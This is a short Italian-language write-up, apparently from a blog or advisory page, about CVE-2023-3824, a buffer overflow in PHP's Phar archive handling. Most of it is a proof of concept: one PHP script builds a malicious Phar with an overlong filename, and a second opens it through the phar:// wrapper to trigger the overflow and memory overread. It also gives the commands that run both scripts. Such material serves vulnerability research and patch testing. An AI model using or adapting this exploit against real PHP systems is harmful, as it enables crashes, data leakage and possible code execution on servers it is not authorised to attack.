
La vulnerabilità nei file Phar di PHP, dovuta a un buffer overflow, deriva da controlli insufficienti sulla lunghezza dei nomi dei file all'interno dell'archivio Phar. Attori malintenzionati possono creare file Phar con nomi di file molto lunghi, causando un buffer overflow e la potenziale esecuzione di codice dannoso o la fuga di dati. Questa vulnerabilità può essere sfruttata per l'esecuzione di codice CVE-2023-3824
Questa Proof of Concept (PoC) dimostra come creare un file Phar malizioso in PHP e attivare una vulnerabilità di buffer overflow.
create_phar.php) e aggiungere il seguente codice:<?php
$phar = new Phar('malicious.phar');
$phar->startBuffering();
$phar->addFromString(str_repeat('A', PHP_MAXPATHLEN - 1).'B', 'This is the content of the file.');
$phar->stopBuffering();
?>
Eseguire lo script PHP per creare il file Phar malizioso: Copia il codice
php create_phar.php
Attivazione del Buffer Overflow
Creare un altro file PHP (ad es. trigger_overflow.php) e aggiungere il seguente codice:
<?php
$handle = opendir("phar://./malicious.phar");
$x = readdir($handle);
closedir($handle);
var_dump($x);
?>
Eseguire lo script PHP per attivare il buffer overflow: Copia il codice php trigger_overflow.php L'istruzione var_dump($x) produrrà in output il risultato dell'operazione di buffer overflow e overread.